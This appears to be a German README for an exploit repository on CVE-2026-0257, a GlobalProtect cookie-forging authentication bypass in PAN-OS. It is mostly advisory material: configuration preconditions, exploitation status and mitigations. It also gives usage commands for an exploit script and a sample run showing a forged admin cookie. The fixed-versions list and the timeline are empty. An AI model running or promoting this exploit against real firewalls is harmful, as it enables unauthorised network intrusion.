🚨 CVE-2026-0257 - Authentifizierungsumgehungs-Schwachstellen

PAN-OS: GlobalProtect Authentifizierungsumgehungs-Schwachstellen

Authentifizierungsumgehung im GlobalProtect Portal und Gateway

📌 Überblick

CVE-2026-0257 ist eine Authentifizierungsumgehungs-Schwachstelle, die die GlobalProtect Portal- und Gateway-Komponenten der PAN-OS-Software von Palo Alto Networks betrifft.

Ein nicht authentifizierter entfernter Angreifer kann Sicherheitsbeschränkungen umgehen und eine nicht autorisierte VPN-Verbindung zu betroffenen Firewalls herstellen.

Hinweis: Panorama und Cloud NGFW sind nicht betroffen.

⚠️ Schweregrad & Bewertung

Vektor (CVSS 4.0 Beispiel):
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:N

📖 Beschreibung

Authentifizierungsumgehungs-Schwachstellen im GlobalProtect Portal und Gateway der PAN-OS® Software von Palo Alto Networks ermöglichen es dem Angreifer, Sicherheitsbeschränkungen zu umgehen und eine nicht autorisierte VPN-Verbindung herzustellen.

Das Problem resultiert aus CWE-565: Vertrauen auf Cookies ohne Validierung und Integritätsprüfung.

🛠 Betroffene Produkte

• PAN-OS Versionen vor den behobenen Versionen (10.2, 11.1, 11.2, 12.1)
• Prisma Access (bestimmte Versionen)
• Firewalls mit konfiguriertem GlobalProtect Portal oder Gateway

Nicht betroffen:

• Panorama
• Cloud NGFW

🔍 Anfällige Konfiguration

Diese Schwachstelle erfordert die folgende Konfiguration, um ausnutzbar zu sein:

1. GlobalProtect Portal oder Gateway ist konfiguriert
2. Authentifizierungs-Override-Cookies sind aktiviert
3. Das Zertifikat zur Verschlüsselung/Entschlüsselung des Authentifizierungs-Override-Cookies wird mit einer anderen Funktion wiederverwendet

💥 Auswirkungen

• Nicht autorisierter VPN-Zugriff auf interne Netzwerke
• Potenzielle laterale Bewegung durch Angreifer
• Umgehung der Multi-Faktor-Authentifizierung (in bestimmten Konfigurationen)
• Erhebliches Risiko für Unternehmensperimeter

Hohe Auswirkungen auf Vertraulichkeit und Integrität geschützter Netzwerke.

🔥 Ausnutzungsstatus

• Aktiv ausgenutzt in freier Wildbahn (Stand 17. Mai 2026)
• Rapid7 beobachtete erfolgreiche Ausnutzung
• Palo Alto Networks bestätigte begrenzte Ausnutzungsversuche
• Hinzugefügt zum CISA Katalog bekannter ausgenutzter Schwachstellen (KEV) am 29. Mai 2026

⚙️ Verwendung:

python3 CVE-2026-0257.py --target vpn.company.com
python3 CVE-2026-0257.py --target 192.168.1.100 --user administrator --verbose

✅ Erwartete erfolgreiche Ausgabe:

╔══════════════════════════════════════════════════════════════╗
║         CVE-2026-0257 - GlobalProtect Auth Bypass            ║
║               Public Key Cookie Forging Exploit              ║
║                     Author: 0xBlackash                       ║
╚══════════════════════════════════════════════════════════════╝

[*] Connecting to vpn.company.com:443 to extract certificate chain...
   [+] Found 2048-bit RSA key

[*] Forging authentication cookie for user: admin

[1/1] Trying public key...
   Cookie (first 60 chars): eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...

[+] SUCCESS! Authentication Bypass Achieved!
    Username : admin
    Cookie   : eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...

✅ Patches & Korrekturen

Behobene Versionen (dringend anwenden):

Prisma Access verfügt ebenfalls über entsprechende behobene Versionen.

🛡️ Abhilfemaßnahmen

Sofortige Workarounds (falls Patchen nicht möglich):

• Deaktivieren Sie Authentifizierungs-Override-Cookies, falls nicht erforderlich
• Vermeiden Sie die Wiederverwendung von Zertifikaten für den GlobalProtect Authentifizierungs-Override
• Überwachen Sie GlobalProtect-Logs auf verdächtige VPN-Verbindungen
• Schränken Sie den Verwaltungszugriff ein und aktivieren Sie strenge Sicherheitsrichtlinien

🔗 Referenzen

• Offizielles Palo Alto Networks Advisory
• NVD Detail
• Rapid7 Analyse
• CISA KEV Katalog

📅 Zeitplan